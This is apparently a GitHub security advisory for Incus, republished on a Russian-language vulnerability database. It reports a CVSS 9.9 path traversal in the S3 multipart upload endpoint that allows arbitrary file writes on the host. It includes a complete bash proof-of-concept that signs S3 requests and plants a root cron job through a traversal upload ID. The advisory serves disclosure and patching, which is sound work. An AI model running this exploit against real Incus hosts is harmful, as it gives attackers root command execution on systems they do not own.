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GHSA-ccjc-4qc3-jxqc

Опубликовано: 26 июн. 2026
Источник: github
Github: Прошло ревью
CVSS3: 9.9

Описание

Incus has an arbitrary file write via path traversal in S3 multipart upload

Summary

The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.

In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33

PoC

Setup

# Expose the S3 API and create a bucket incus config set core.storage_buckets_address=:8555 incus storage volume create default bucket #> note the credentials

Exploitation

The below script was mostly generated.

#!/usr/bin/env bash set -euo pipefail if [ $# -lt 4 ]; then printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2 exit 1 fi endpoint="${1%/}" bucket="${2}" access="${3}" secret="${4}" region="us-east-1" service="s3" key="anything" part="1" upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d" target="/etc/cron.d/part-00001" cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target" body="* * * * * root /bin/sh -c '$cmd' " uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key" uri_path="${uri_path#/}" uri_path="/$uri_path" host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')" qs="partNumber=$part&uploadId=${upload_id//\//%2F}" url="$endpoint/$bucket/$key?$qs" amz_date=$(date -u +%Y%m%dT%H%M%SZ) date_scope="${amz_date:0:8}" scope="$date_scope/$region/$service/aws4_request" body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}') signed="host;x-amz-content-sha256;x-amz-date" canonical="PUT $uri_path $qs host:$host x-amz-content-sha256:$body_hash x-amz-date:$amz_date $signed $body_hash" canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')" string_to_sign="AWS4-HMAC-SHA256 $amz_date $scope $canonical_hash" hmac_hex() { printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256 } k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256) k_date=$(hmac_hex "$k_date" "$date_scope") k_region=$(hmac_hex "$k_date" "$region") k_service=$(hmac_hex "$k_region" "$service") k_signing=$(hmac_hex "$k_service" "aws4_request") sig=$(hmac_hex "$k_signing" "$string_to_sign") auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}" printf '# body:\n%s' "${body}" curl -ksS -X PUT "${url}" \ -H "Host: ${host}" \ -H "X-Amz-Date: ${amz_date}" \ -H "X-Amz-Content-Sha256: ${body_hash}" \ -H "Authorization: ${auth}" \ --data-binary "${body}"

Impact

Arbitrary file write on the host. Possibly leading to arbitrary command execution.

Пакеты

Наименование

github.com/lxc/incus/v7/cmd/incusd

go
Затронутые версииВерсия исправления

< 7.1.0

7.1.0

9.9 Critical

CVSS3

Дефекты

CWE-73

Связанные уязвимости

ubuntu
2 месяца назад

[Unknown description]

debian

Описание отсутствует

9.9 Critical

CVSS3

Дефекты

CWE-73